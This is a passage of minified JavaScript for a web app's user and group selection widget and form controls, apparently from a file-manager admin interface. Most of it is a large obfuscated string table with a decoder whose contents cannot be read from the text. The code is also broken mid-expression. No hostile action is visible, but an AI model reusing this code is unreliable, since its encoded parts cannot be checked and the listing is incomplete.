MKJwprDpcO8JlwpRcOnwqBpw4TCpyBrw77DhiYAw7/DucORw5onPT7CvsKMwr9fw5vDnMKdScK8wpLDmcOEw5LCicKXwpAJXzZ7EnrCsMOnWwHDvzjDn8KPLcKHwrLCsR8=","w5vDhsKNKsO/","RUdFw5fCp8K9BsO4w4PDnDVsbkPDgw==","LMOuAcKTwoU=","B8OWRHckw4Y=","wo8ew6Ewwqo=","MQ3Cgg==","WQjDkgkV","wpIHwo/Dp8OZQ00HwooUw7A=","fnbDvkjDog==","w4AewpzCg8O/","woLDicOCeBE=","HcOGc3Mkw4bCiA==","PQPDljQWwoHCqyI=","wopMwoXDq8OV","wr9qwqvDvcOv","w4dmwqzCpys=","wqbDhsKDQQE=","QUfClmd7","w5bCk8KHwr3DjQ==","w5QXEGUl","woADa8KWfQ==","wo7DpsKmdcK2","wqQcwozCng0R","wqXDvMOzMMOM","acKLYjrDkA==","woYAwoLCkw0=","GsOfCCvCicO3w4DCu211TcKHIMOvM8OEwodcwqjDhA==","w73DtcKnHcOd","WBXCvlvDgsKtLMKJwqhOSQ==","H8KUwr/Dvlc=","Dh9mw5rClw==","VSBmFltwWg==","w5DDtw/Ds8OA","w6x2w7Quaw==","TxbCqmfDgA==","RTdsHlhw","GcKdwrnDgFA=","wpNSKTHDiQ==","woXDnsOrfRI=","w6tcwqXCnxs=","XjfDmggw","wpzCosKrw4nCjA==","wrYNw7Q2","SQB3I10=","w43Cr3Q=","w53Cr3LCk0sRw6fCqcKWwr/DoRvDhw==","ARYYKMKk","IsKWwrDDlmA=","QmdW","O8KYNsKoFA==","wo3DqsOVXRE=","D8KCFMKhN8K4PcOh","Rx/CjAHDgA==","BsOqH2TDlA==","w4wUM2k2","CMOZEMKiwqE=","w6waOFU+","wr9IwpPDoMOS","w7rDuQbDn8OOw41Nwr1oH1gk","wp4CecKweQ==","wpjDiMO7IMOBw7zCi8OuLMKHfTc+","wpQkVMKhfA==","XyrCm3jDng==","wr/Dn8OmGMOFw6TCmg==","wojDvsKPcRTDjMKiwozCrwRaPQ==","w7HDlD9Zwpo=","QhXDpQsw","wqETwo7CiQ==","w4HDsytCwp0=","OsKxOMKICQ==","wq3DjMK5d8K3","FcOfV2YYw5vCgsKi","PgDDmSgbwpjCsSU=","wpJXwp3DlD4sDcKowo3Cn2g=","G8KOwrzDklI6Q8KbRTfDtsO5","SMK6RjDDlQ==","B8OVwrVoPQ==","wrwGdcKURA==","w6TChHzCpVY=","wqzDq8K9S8KxwoYtwrrCqMOHMXc=","SRjCry3Dpw==","woPDqMOHBMKqw57Cq8K5w43DvcKPeB08w48=","IcOwCHnDvA==","wrNVDRXDhw==","wp/CgcK8w4PDt8K+wqrCmsOhSQ==","R3Baw7TDqQ==","fcKjwpUnwoHCuA==","XELDgUzDuA==","LMKNBsKyLw==","w7EwwrXCsMO6","dcKRQz7DtQ==","UHFHwpjCqVnDvw09VzrCicKow6JywpnCsQ==","wr5lw5IVeQ==","w4bDp8KQCsKww47DssKiwpPDr8OobUUlwpFOw4M=","O8Kaw4vDuX0=","wr3DjMO4O8ONw6HCmA==","QH7DvXbDng==","RcKUXxvDmw==","RmdRwrvDvw==","KsOuGSbCnQ==","VMO5MRnDtw==","Y2tjwqPDiQ==","woTDmcOjMMOJ","wrXDmMOxaCE=","w78/wrLClcOk","w5/Cv3jCgEs=","woR1wqLDkBE=","w6DDkMK4E8Oz","wrwhaF1aC8OOdsK/","P8OKwohMLg==","wovDnMKFRjY=","eVvDhlfDoA==","DsKvwpfDun0=","wopfw74DSA==","w7U9wq3Cm8OZ","woslw70KwrU=","RBjCkgLDmw==","w50JMGpA","wpnDgMOUVS8=","wrLDvsKMdBU=","JMKcw6DDv8KW","w6g1DEUs","bxt4P3U=","YzzCkiw=","XGBNw4rDpQ==","Q1jCiWU=","BAYNJcKGw4XCq8O/w4M7RsKlFSwvQcKTdg==","w693R8Kq","w6vCqsKcwprDsA==","fcODwoJQEQ==","wpdtwo3DnyI=","wqBZwrLCj8O9","woTDhsKAbx0=","MMODPUPDgg==","HsKzwrrDoU8=","w5zDlcKDKcO8","wp3CpcK0w7fCoQ==","F8KqPsKPFg==","wpZkwqXDrsOs","XsOowr1yKw==","Uj9gBEU=","RG56w7nDkg==","dgZqOUQ=","wpHDrcKeRR4=","w7vDqw9ewrg=","wqEcw6EwwpR2BsKFb8OxJw==","aMOdF3tZS8OTT0IYwrHDhQ==","wpogwoTCpgA=","FcOFRnIt","UhnCoADDhDvCucOK","BcOnN33Dng==","aRPDmjkT","bsOMLALDog==","w6rDuwNXwrRR","F8KSwqLDnlQ=","XcO4MX10","PsOUB1PDog==","w58/OEZv","wrZlwrrDux8=","ehTCmDXDpg==","Hwp8w4zCpw==","w40bwo/Co8Oe","w6xUwp7CvRA=","SQDDmxcD","wpEbw70LwqU=","w48mM3BQ","YXnDtmfDqg==","w4bDmMKyIsOE","w4HDscKEDcO7w5HDqcKXwp/DtcOJdkYFwoxJw5jCsQ==","w7ZzUcK5MQ==","QlJRw4rDvA==","HcKlwog7wrg=","w6jDrUwGw64=","w5QqL20=","wpJLwpzDtBM=","M8OvdFIe","EsKowqUEwoQ=","wrnDgsO/J8OHw6o=","blPDs2nDgQ==","wonCncK9w5Q=","S8OgCGtt","bcOXKVF3","w4HChsKJwrvDjMO/w49j","TBbCq0w=","JsK9w4PDiMKq","fw/CukzDvg==","w4LDmSpowr0=","wpJewpTDmw==","AgoMIw==","YHpowoXDvw==","CMO0HMKzwpg=","DcObDh3CgMOHw5/Csg==","CMOwJgnCoQ==","woQtwrjCiT8=","Xmhnw4rDhg==","w68pH0k4","dsK2eRbDqQ==","dRx3HFc=","w5lJQ8KaKA==","woFKBj3DgA==","w7JFwp3Cvw0=","woYgw5Mrwqk=","woJPwpTDniE=","AMOHX3kzw5fCgw==","w7ovMkYJEsKN","w4fDli3Dg8Ol","e3/Dq1TDvg==","QCZLGWo=","P8Kfw4zDhmkLwoM=","wqVSwrDDuQY=","wr7Cn8KRw7/Ciw==","IMO7TnM/","ER5Xw7/CsQPDpg==","wqdWwqDCnsOrw6VMwoo=","DcKHEcK8","woZUwqvDjQY=","wrsLTMK9Xw==","wp/DjMKgUcK9","dxfCpFzDig==","E8OjG2rDtMORfMKVwrw=","w5oiLnZd","w5vDrBvDg8Of","w4TCrsKtwoLDtw==","Q8KxUCDDtsOaGn8=","woHDmMO2aws=","wqk7w7Iawo0=","GRnDhgsW","wrzClsKMw77Ctg==","PsKXwrDDpWY=","VCFqAxN5R8O4XnQ=","A8KEw7/DmcKB","bcO9N05P","Pg82I8Kw","PsKew4DDkyEHwp/ClHHDlRXDk8OtwrzCgcOKJQ==","wqJMw40Dfg==","EB9bw6rDuArDuzRSw67DqcO3ZMOyUMKHw4Q=","wonDicOwew8=","RkNPw43DocK5AA==","cjNGA08=","QXdEw4fDjg==","NsOtwptXF8KP","wqlrAxHDpg==","Qj1rFA==","QiHCiCrDuQ==","w7bCsV3CgWw=","w4rCtGfCgQ==","SCtXK0k=","w5kKFlFD","woFeworDhDA1EMKj","wpbDr8K/Vg==","w6bDvi9JwqY=","w4weJWFv","wo9OwobChcOJ","wrMWwprCgwoR","dMOkwpBWCcOcwqlV","wpHDnMKqUh0=","ScKURxHDiA==","wotWMjvDug==","w53DrxLDmA==","QcK3VDnDiA==","wrZ9ET3Dpg==","w4s/wpzChMOe","OcKIw5TDlGsdwoXCs3jDiFvDjcODwrfCgg==","w618SsK+","Zl7DvlfDmg==","wqprwqknPRPCrsKzQQ==","w6jCrsK9wp/DiA==","w6YENFJe","wrEAw7MmwrE=","w6MnKXE+","MsKbwrchwqU=","wqdCwqvDosOX","wrJOwqjCgcOAw6lN","K8OowpNPNQ==","w5RSTsKFJw==","w6nDm8KdL8Op","VsKpWD/DncOWGw==","w64mwpDCs8OqTVs=","TcOqIC3DvcKWQg==","wrhBw6IsRQ==","VMOiOxrDig==","UDHChVbDow==","UMOsJB/DvQ==","w4JyRcKzPMOGw6rDu3Q=","wqZUw5cbXg==","bk5Uw5DDvMKTBsO6w4PDoTlp","wr9bwqDCpcOm","wr5swqXDn8Oy","MsK+w4DDqsK+","wq86RcKgGcO2H8OkwqrDh1w9MT4=","VMO5wrtDCA==","w4JYw7TDgQ==","aG7Cl19H","csOUwoVfNQ==","EcO3YVI5","w5fDg8K7D8OX","Q8OLBSzDgw==","w7ROw4EsfA==","LcKYw4vDgnoHwp7Cng==","X8O3LUxv","w6hCwq3ClT/CjzXCgRI=","w608E2pN","KcKCw4rDjWsPwp8=","McO0BsK/wow=","JMKPw4/DhG0a","w7xzw6kDRw==","LsOxwpFUG8KlwqTCscKqf3lOw7rDpg==","fF7CqmhA","YFLDv3fDnA==","FsOvwpRhMg==","BjDDvhgJ","VsOwLCPDmw==","w68lwoPCvsOf","ccOqwqtDMg==","wrTDgcKYTsKZ","w4VbwqfCuQw=","eEHCk0Fz","wonDv8KDZFzDhcK/wq7CsA8=","w47Dn0kew7w=","w43DqhbDhg==","wo1yFAjDvg==","EsKnAyTCjsOPWHcgw57DsA==","w53DiyxJwoM=","CcO+FMKewqdkw7B0wq/CocOwJw==","wo7CpMKfw7fCtw==","F8K0w5fDnMK9wojDnFXDtDx7wrNe","VAXCjSvDjw==","bXTDi2/DgQ==","eDDCmSHDog==","wojDmMO8JcOF","PcKSOcKbFg==","w6vDjyXDrMO0w6p2wrdLJQ==","w6/DqT99woc=","LsOET2Q6","dF3CqhfDrHzCj8Oww5DCplR/wrA=","C8KsBcKdEg==","PMOUA8K6wrQ=","OsKowoomwpI=","I8KSw5zDiMKp","woFvwojDmQE=","w5LClMKHwoXDtA==","w7vDsMKzAsOK","wrM7TMKqdw==","w6UuDUcq","w7DCkV7CsGU=","wprDvcOcYC4=","woTCuMKSw7fCrQ==","ScKscCnDtQ==","w5IqNElT","L8Kdw4fDlHc=","NTolJMKo","woYFw4Ujwo0=","wqAtw4siwqk=","w5rDnGMHw4o=","esORwppcCA==","UCtoKVM=","wrU4wo7CmQY=","woRdMxTDvA==","wqkXwoDChh8=","fUbDvl/Dmm8WfQ==","wrJswqrDsQo0LcKEwqfCpA==","NcOWJg==","LsOAMCzCiA==","w5F4R8KxOA==","wqbCpMKcw7DCgg==","wpgnWsK3eQ==","wpZSMTzDog==","wpd3ISXDpw==","LMOMH8KMwoU=","YhzCszXDrw==","E8O2I2HDog==","w6xIUcK0GQ==","wr4ebsKlfw==","LMKhwpkewoU=","EcOywr9jAw==","woRGwpbDhcOa","wqURw7A=","bsKNdBnDoA==","wrMMwp/CgQYGw7E=","dTPCi3/Dtg==","wrhQw6E=","ThbDqx01","wojDhcK5cMK+","XSrCmA/Dug==","BsKJw7XDucKJ","w59qacK9NA==","IcKCw4bDtUA=","bVLDkH7DsQ==","wrpvHTTDmg==","RcK+RQ==","wrbDucODVQs=","PsKLwowNwoM=","E8O6UE8i","IsKew4DDuMKu","eDXCh2HDvsKGOsK1woQ=","esOGDG9K","wrnDncOmPMOQ","w792w7sz","wpNzwqvCq8OT","w7zDvcKtIMOt","aMOIMFZS","w6E1Pkgv","w7t8w4EhQA==","A8KZwrvDkkE3","w6DDqipYwpY=","MBlyw7vClQ==","wqDCvcKNw4HClQ==","RcOOwph0CA==","w5V+w4ADfQ==","wppAwrzDkMOO","UXBLwoc=","Uzd/HV12TQ==","w7nDqHo0w7c=","wprCosKpw5/CjA==","JcOEPmTDqw==","w6DDuDHDkMO/","w7TDmFYzw4I=","WExew4/DvcKzAsO9","JMOGNHrDrQ==","wrtjwq/DjsOI","TMKReh7Djw==","wqJGw5A0e8OOw5k=","w6MuPWZB","SEnCiXl3","FwkdKMKvw5/CrMON","AwVMw6vCog==","BRMQOcKX","wqNcwoLDh8O2","AcKdwr3DuU8=","wpDDr8KkcsKu","AxAZIg==","w5bDswNawqc=","woI+TsKbYw==","YEhIw6nDuA==","LsKswpzDqmcQZMKKdg==","I8K4w5TDmsKs","WlvCimJ3","XQzDmDMA","wqnCq8KAw4XCkw==","w7fDpcK0CMOs","YXNjwprDtA==","TDlfC0o=","w71tSsK7JA==","w7ZDw6ArYA==","w4rCr37ClVgRw5DCgMKFwrfDqgE=","w4zDijHDrMOE","GsOMMD3Cog==","w4bDpsKZNcO/w4nDuA==","ccOrwpNB","BgRbw7vCvSrDuzRUw7XDiQ==","w5zDrh7DjcOMw5tLwrl4DlMi","wrYdWMKiWA==","wqvDncO6OcOd","wqMIWsKARw==","w4PCh8KawozDsA==","ZCVsI3A=","wqkXwozCnRwQw6DDgA==","L8KBw47DjMKs","wrpMw7IBZA==","ZUzDlmXDnw==","wqzDicO7DcOt","wprDisK7WMKg","wpfDoMKjScKi","JsOBO1g=","wonDqcOZRw==","M8OYC0/DqA==","wqwcwoHClh0c","wo1eworDgcOo","wos6wrfCqAM=","e8OtPzrDuw==","cyrCmk7DoQ==","SMOePFRc","bxXChjBuwpTDrirDsMKfIcOEw6rCgiM=","DMKLw5bDmEA=","w7QoVcK7G8OjGcOvwqnCjV4o","wozDgMK1ZgE=","QMOPwpB+Dg==","VDbCghPDkg==","w7pYwqjCkMKHw69Twp/CjsKyT8Odw4JpDcOOR8OGDcKnNTDCmEfCmcKTw612T8KDw5PDicOuwqVcfm4BUcO2wqHCsgXDnMKrwoVgb0s=","MsOOLMK6wqc=","wrJyP0gYSQ==","dcOhIh3DsQ==","wqcMw7Q/wpBIDMKQLsO3KnFZKsK/NHrDu8K2Fg==","wo19w7gLcw==","wpBVwpnDjxASEMKgwpDCrnV2w7ckw68=","RSHDhzYy","DFDDqw==","wogEw7Agwoc=","bcO/w5k=","wo1fNgfDkg==","w5s+wpjCrMKtbVvDh8KJUw==","eQJ8B20=","N8O9ORTCjg==","wqUBwp/CnQYGw6DDgcOmU2bDgEvDlcK4K8ORbGw6w5k=","HQAtFsK7","McKnw6fDk2M=","wrDDo8KFdx/DrcKxwr3CuA==","wpTDqMK9UMKb","FMKBw4zDknoqwpDChHXDo1XDiA==","wptLwqLDvMOa","AcKOwo8uwr0=","Rx9ILMORw4rDrMOFwp8rBcK8VwB4","LiQSHsKs","wpTDrcKVfjfDjMKzwqbCvQQ=","KcKLw7HDgMKS","wp5TwpzDsMON","woJawqzDv8O0","wrQQwoLClA==","w7wQwqHCscOL","BBlKw7DClRTDrSNP","Q0/DolLDhw==","w4srPk8aBA==","cirChTTDig==","w7LDjzU=","wpvCosKJw7DClA==","wrnCoMKnUcKww5sywpTCqsO6EA==","w5kMwrPCl8O0","w5PDr1IEw6U=","w4vCrnLCgBACw4vCoMKEw73DqBTDnWE=","wpwYbMKHbg==","OcORw7g1","Th1XInY=","woNQwo3DgzASTMKuwoTCnnllw7o=","wq3DmMK1bAI=","wqTDvMOYSwY=","ExUdPA==","w6zCoMKvwpjDqg==","w6zDsRjDv8OT","wpRhf2oRVG0pSg==","NsOCNmzDnw==","PQrDkxw0","CmTCr08=","wr/DqcOHF8Oq","wrbDmsKYbsKLwrEcwrnCm8O0C1DDuFs=","w4nDuzvDhMO8","SWVtw6zDsA==","w7QCNlFs","K8KMwrsPwrs=","wp1TwrzDgTo=","I8OvYE4w","w4gkHk5b","FsKzwrjDlHc=","wrYEw4I1wrc=","AsKew4vDk0o=","NcKJw5HDmsK/","YD/CpyzDhg==","WHTDh0vDvg==","wpjCl8Kqw4HCt8K8wrbCmMOcQsKVaw==","McKjw4/DhA==","JsK9w4nDmsK9","w7LCpHzCpVQ=","OADDliA1wo8=","w5LCtGTChg==","b2PCi1l7","woN8w78NTg==","ZHbDtnvDoQ==","HsKrMsKfKg==","wo44YsKaVA==","Z0XDnVTDhA==","wol/NhPDpcKbW3Fbw6g=","w6QUwo7CmAc=","X8OxJy4=","w50yworCrcOD","VSBmHA==","BMO5ZW4m","PsKmF8KeCQ==","QkdhwoHDnA==","LMKEw6/DuMK9","wrRZwrLClsOIw6JMwpvCqcKkCsKL","w5bDswlIwrA=","wpYwS8KFXQ==","eMOGH3BRSQ==","wpwBTcKATg==","J8KxI8KXMw==","GMODJkbDng==","wqfDq8O4IMO+","w6p0R8K+P8Ol","KcK4w5XDnQ==","w4hVS8KAKA==","w4JHw6stXw==","w5vDqBbDnsOew40=","w5YNKFc/","w6LDmzLDkMOA","w7TDiFETw54=","OMKZw4TDlXsd","HjzCuDTCjG4cf8O0wpwqwoR6YMKuw4fDvsOTP2fDsMKIUi7CgW4owpJKwocpwoPCicOnJXkdKGt8wod+Om1Zw7bDhl3CixV3RMKmBsKPLAoHH0wwKUDDrz4swpjCqF10Hi3DhsORw5vCqcOMwqoGQcKnwo3CusKkMTbCq0x0csKVZijDhsKpVWXDlhgrwqYKG8KdPGkQHcKU","FcORwrxoIcOOwoXCmsKMTAl2w4nDg8OSwqwIdSDCicKfw6/CpcKBw6xxVFdwRxRXZGdoVsOLwoLDlGvCoMK7SMK1OcKIdsO6AcKYRX0Vwrg/FDp/QMO8wonCmsOxUmdCw5DCt8KmZsKuwrZswoHClRnCg8OiworDk1sZGDNZYMKiwofCkwVyFypXEhLChwcMPcOnXcO6LsKDK30lJsO5VMO3LinDnGl2woJ9w5HDkxfDjzpJdGzDgMOgLsKRwoNYwrUlwpnDucKIVcKEWnLCkcKdNsKQw6TCqsOrw5tnZlLDg8KNZcOBw74CwpTDgB0Fw67CoiAow7pRTR3CmcKxwpDCq2jCpMKHw57CvsKgw5lrbcORw58ECjfDuMObw5/CpcOiCMO2wrjDvDUdwqEpGcKnwoB1wq5eNcODL8OkwqvCgcKXJHQ1w6YKREpHwoDCnlcPR8OqwpDCiVhZSFXCp8OfeQEqcCwlwqknw7lEccOAMsK4wrHCuBIFwrfDrjYdZ8Kjw4sqw6/Co8KEw7VODhbDi8Klw5AbS8KIHcONVyVuwodvM8OVwrzCkFxLanrDjcKccgUxw6rDtsOTaMKM","IcOHM0HDk8Ot","bsKcOgbCmMKUIMOIw7BywrLDqOaeg+WLruWYm+WlsOeQs+isiuayluW/teW5vMK45Y2H6IGC55uc5Y+A5ZuxJBtgesK7wp7DjEYNKRBywqzCicKqw7oHEMOi6K6H5rKF6L6Q5LiS6aCy57qhwqbmn6Hli4HlmpHlpIznkYbotbXmlobmirvlpq/nkJrlpYnot4LpgKXmibXnmrvlvpjlu50NUcKQAWPCgBxoZMO3K8KAwr3orJTmspTotLDml4NQw6fmo4rmnI7DosKmNTrDoGXDkMOSNzgtw63Cqei1huaXo+aVr+mVuSxS5YaA6IKR55iy6YGs6Z6k6KSM6K+0576meuaOouiMjuisg+e/lOS4m8O5wpfDnC7Ch8OSw7XDuXUxf3cUwqNZUsKmw6vmnpPliIXlm4jnobbku67otLrmuqLku5not5rCoGbmo4HmnILlh6vlrJ0wwoAwwqPDuuegqueZp+i0lea4n+WOnueWjOaAieWGhcKywpzmoYjmn73CsFDDiOWFjeisl+eZu+WFj+Wvg+WkneWzr8KG5o+P6I+x5Ya76K+F5L+U55Wvw7jDtFkDwoXDtsOww4FWGcKcwr/DnMKrZQ99A+Wmh+acqeS8nueWqOS7iRkVwoDDrMOPw6zDikBxDsKU566lw6bDluahk+aeoeeYpuW4gOafveWLjuaanuWRlOavk+W4g+i9teiho8OH5bqz56G+5L6u56i65bm05ZGn5a2M5bi95p2J5Yu557yA57uX6L6n6YOg5oOCw6wxw6R+Pw4+fRhXw6rDn8O0DzjDlWXCpsOI5o2y6I+e54y45aClwqUFw7AuUsKYcMOkw6fCjkZwAcO9w6ANGcO/w6ABbMOsK8KOwofCvcK2QMKLQkA8bsKfwoEowoPDlDbCmsObwpPDvsKjwqjCpADDuMOtwrPDo8OQQlnCq8KlwoYlwpzCo8KUZTXDnljCtV18ThVtfcO7","cFzDkFHDn20=","wostw5Idwrc=","w6LDrAPDmcOT","w6MbKVQ0","w7zDnCJ3woY=","Wl/Ch392WA==","w4deYsKeAw==","XHzDm2nDtQ==","wpxvw4MJbw==","BcOpBGXDgg==","LCIPN8K0","fwjDvREO","BC7DmQIV","JiPDtT43","w70xwo0=","wr9PwpXDpsOy","N8OBMsKCwog=","wrXDtMK0RsKk","Mh92w6/Cnw==","worDjMOiSiM=","wr3CiMKKw57Crw==","wqvCq8Kdw73Cmg==","wo3Cl8Kt","w78NC2Ai","Qy/CjEzDgQ==","w5LDuhI=","w5/DuRdVwpo=","w6vDhD3DqcOS","w4JZdMKDMw==","UmTDvWjDqA==","wqFZwrU=","wrg+w4YhwpI=","w48+LHVGHy4=","Q8OSCzjDtw==","wrMcwps=","w4/ChcKawrrDtg==","FcO5I8KfwqU=","w4HDrQ9cwrJNRA==","w7UbwqHCh8OH","GsK5w7bDm38=","CQlQw7/Cog4=","FB3DlSg5","R0NRw5bDrQ==","w7UIGEl6","P8O+BsKEwqZy","RRLCrQ3DrQ==","fcO1Jh/Dog==","wrLDrsKgYhQ=","AR1aw4HCrw==","D8KLEcKJFQ==","Fi7DsjYx","wpMgw5cpwo4=","w70pOlUbBA==","wrTDhcKMQjY=","woXDg8KLdzE=","a8KoXyrDvg==","UcKSbMOiw75zw61Dw6nCtsO5NGJLaTbDmDw5QMOtVixlYXHClxUbwobClFIqwrvCqBldw6dOAMO/JcO2D8ONwo4kO8KOwpXClAwvGmLDuMOGYsObwrBqw4/DvcKjw5LDq8KodsOQKnl7woLDq8KmwptcPMOgCVXCvcK8wpxLwpXDrnzCshA+wprCl8KcH2Uyw6bCl1LChcKXw4VYw6whw49Jw5g=","HcKcDMK1HsO+KsO8wpVkwoV1w7HCoVvCgV4ZI8KowoVXw6bCusOEwqjCtcKYPUxWXkhawoTCuhFmE3lXw4rCuhPDrgREwpxTbMOgw4LDqlh+WsKXAsObwpvDvxElwoHDi1vDgRrDoCBvYUgmw6NGLcKXw4rCgD1rM8KSfcONPMOgIWDDmz7DnsKiw6TDpVklFMO5wqnDmMOvw4rDvVFibMO5b8OaU8KqZsOsXkbCpMOWwpbCo2ImTm4Jwqgmwrs5wpnDj1kbEMKALcODTcKTw5BDwp/DrMOOw47CsMOBw7EIXybDlsOPwr8ZUMKlWQ0jwochNMOOw7LDmMOIwqPCozJRw4jDty7DqAzCl8ODwpPCoHVdQQNrC8OVw5LCnHtdw5kUw5PCuRQfwrXCvEMNCQbCt8KtdiQsUMOrfAkVw7EVcsK2ecKECGFFSGgjw4TCisOOI1R6FFl4US4Cw47Ct8KyXsKAwo7CgMKpflQkwqrCvMO9McKOZsO8A8KJccKrHsKoZsKTw6LDjsK+GS5uw60cwrjDncOFw5nCjlLChzYBw4/DryZkwrEnw5M7DsKUdsO3a23CjMOrw7R4bMO6","wqZdwoXDvMOIHg==","w6howoTCshc=","woF+CBzDnw==","Wh3CohTDvTbCr8ON","GsK4wpjDt3s=","XUVywqXDvg==","wr57wpHCqcOf","AhEVPQ==","T8OjGEhw","F8KOwoo/wqQ=","wo3Ct8Kaw5rCgg==","B8K9PMKIHg==","w6d7VMKzPcOnw4PDu3hT","WcOXHQfCiw==","w5jCtHnClg==","w6/DugTDk8Ol","SgDCumrDhcKkCsKOwrRW","ecONOE5T","P8K4NMKfLQ==","bMO5OUlz","wrZhFB7DrQ==","wobDocKxXSE=","KcKiBMKSGQ==","wqNvw7YcYA==","wqDDmsOUZzM=","w68cMHxF","w4IyOEACM8KefsOu","DcKxHcKgLw==","w4U4wpDCp8O5bEjDgcKHb8O3Tw==","UsO2HSvDow==","wpNzCDHDpQ==","bzLDpzoV","dsOlOnFo","wpDDtcOdL8Ox","blHClnJy","UArCq2fDgQ==","SjzClgvDvg==","w7o0NkQ=","w6srI1c6","wopswq/CgcO0","AsK6w5fDh2g=","J8O7IWPDng==","w7tuQ8Kgf8O0w6LDqmIQwofDn0o3","w6QzDmBx","wq5Lw4XChg==","XnPDmFzDgA==","wp3DucKSfjDDm8KpwrnCrQ==","Ey9dw5LCgQ==","w7DDqQNVwqFb","w6zDuA9SwqQ=","w4jCh8Oe","w67DphjDrsOM","ZnxkHlg7Q8OwU1PDqQ==","wrvDosKqWBU=","KcKgwok9wo/Dtz4WwoPCsxBtRA==","wpUbwr3Cmzw=","ScOwLgDDkQ==","VcKQXwHDncKrwprDuCA=","wpNbwqHDszQ=","w7zDqkgQw6U=","Bk1rwq4=","w6/DhihSwpg=","wr1IwpfDoMO5CEUHwoo4","wpRxwpbCqsOx","wq7DgMOvP8Ov","LsKZwrPDvnM=","AScpFsKE","TibCq3LDpQ==","wqwdWcKUfA==","PsK5wp0l","LcKQIsKUKg==","wq7DhMOrOcOLw6jDkcONL8KVdzcYNDjDu8KQ","VMKYUhLDrQ==","w5zDusKWHQ==","JhRpw5XChw==","BQbDgwoT","wpnDg8OeOMOu","wrAawqDClgM=","w5sONnsD","C8OrwqZINw==","wo/DrMOjWBI=","f1vDpVzDiQ==","wrnDh8OGFsOJ","IcKnw6HDjFg=","IhZOw6HCpw==","WE1Yw7rDpQ==","IsOUMsKYwrQ=","JTQQKcKP","wqxQw6E=","w7kNwpHCrcOZ","CsKKwq3Dg2E=","w7LCjXnClWw=","KsO1wqtjFw==","wqUbwqnCowQ=","w69fw6sNdg==","wrLCisKLw5TCgA==","EQYI","R1vDpVDDug==","VWFtwo3DrA==","wp5mw7gDZg==","EMO0HyLClg==","HMKJwqXDhVotRQ==","A8KmFsKVCA==","LwzDgw==","w58vBXJe","w4RDwr3CthA=","C8OcJnPDrw==","XGxew6/Duw==","wrVJwrHClsOIw75L","CCJdw5TCpQ==","wrERw7A=","w5bDuz9MwqI=","YArCunjDpQ==","w5XDrWk0w7Y=","wprDi8OZZTI=","w4bDjGk8w7c=","CcKNAQ==","Y3hNwq7DoQ==","EsOXwqxjI8KEwpM=","dkxxw63Drg==","wrQVw6gmwpo=","CQvDpSYP","w4zDuRTDhcOPw5s=","VzNjBFk=","NcK5w4HDo8KT","WX3CoV5O","w6w5AmUP","d3TDuXjDkw==","w5QEFUgj","cgVjCFA=","w7pJwr0=","w61ETsKrBA==","JsO4YVIC","w5/DscKbH8Oqw4o=","UgvCml/DlQ==","w5gmOW9i","Z8OFwqd/Gw==","wrBowrjCoMOt","w7skwpDCl8OiRk/DnMKB","w6hyw6kuaxzDrsKcFgfDsw==","XMO6DxjDtw==","PsKswpTDs2M=","b8OKCkhXQ8OEZUEJ"];s=r,function o(e){for(;--e;)s["push"](s["shift"]())}(169);var x=function x(e,t){var i=r[e-=0];if(x["vprWuo"]===undefined){!function(){var e;try{e=Function('return (function() {}.constructor("return this")( ));')()}catch(t){e=window}e["atob"]||(e["atob"]=function(e){for(var t,i,n=String(e)["replace"](/=+$/,""),a=0,s=0,r="";i=n["charAt"](s++);~i&&(t=a%4?64*t+i:i,a++%4)&&(r+=String["fromCharCode"](255&t>>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return r})}();var u=function u(e,t){for(var i,n=[],a=0,s="",r="",o=0,l=(e=atob(e))["length"];o
    ')}e.groupID?e.$node.addClass("node-item-group"):e.$node.addClass("node-item-user"),e.nodeAddClass&&e.$node.addClass(e.nodeAddClass),e.disableSelect&&e.$node.addClass("node-disable-select")},"changeForTreeNode":function(){var a=this.zTree;if(a&&($("#"+a.setting.treeId+" .tree-node.this").removeClass("this"),!_.isEmpty(this.listData))){var s=function s(e){var t=e.userID?"userID":"groupID",i=e[t],n=a.getNodesByParam(t,i);_.each(n,function(e){e&&e.$node.addClass("this")})};if(this.isSingle)return s(this.listData);this._each(this.listData,function(e){s(e)})}},"changeForResult":function(){var e=this.$(".clear-select"),t=''+(n=this.$afterDom.attr("placeholder")||LNG["common.select"]+"...")+"";if(e.removeClass("hidden"),_.isEmpty(this.listData))return this.isSingle?this.$selectBox.find(".kod-select-title").html(t):this.$selectBox.find(".select-list").html(t),void e.addClass("hidden");if(this.isSingle){var i=this.listData.nickName||this.listData.name,n=this.itemIcon(this.listData)+htmlEncode(i);return this.$selectBox.find(".kod-select-title").html(n)}var a=o(93),s={"list":this.listData,"itemIcon":_.bind(this.itemIcon,this)},r=this.renderHtml(a,s,!1);this.$selectBox.find(".select-list").html(r)},"dataToggle":function(e){if(!e)return this.listData=this.isSingle?{}:[],this.trigger("dataChange");if(this.isSingle)return this.listData=e,this.trigger("dataChange");this.listData||(this.listData=this.isSingle?{}:[]);var t=e.userID?"userID":"groupID",i=e[t];return _.find(this.listData,[t,i])||_.find(this.listData,[t,parseInt(i)])?this.listData=_.filter(this.listData,function(e){return e[t]!=i}):this.listData.push(e),this.trigger("dataChange")},"onRemove":function(){$(window).unbind("mousedown",this.bindDropdownWindow),this.zTree&&this.zTree.destroy()},"treeCallback":{"onClick":function(e,t,i){return i.$node.removeClass("curSelectedNode"),i.groupID&&"user"==this.selectType?this.zTree.expandNode(i,null,!1,!1,!0):i.disableSelect?i.groupID?this.zTree.expandNode(i,null,!1,!1,!0):void 0:(this.isSingle&&this.menuClose(),void((i.userID||i.groupID)&&(_.isEmpty(_.pick(i,this.keyID))||this.dataToggle(i))))},"onExpand":function(e,t,i){this.changeForTreeNode()}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=o(i(5)),s=o(i(6)),r=o(i(26));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"selector":".form-select select","initBefore":function(){this.adminModel=r["default"]["adminModel"]},"bindForm":(n=(0,s["default"])(a["default"].mark(function l(t){var i;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:(i=this).loadSource(function(){i.$el&&(i.$(i.selector).each(function(){var e=$(this);i.selectInit(e,e.parents(".form-row").first())}),t&&t())});case 2:case"end":return e.stop()}},l,this)})),function c(e){return 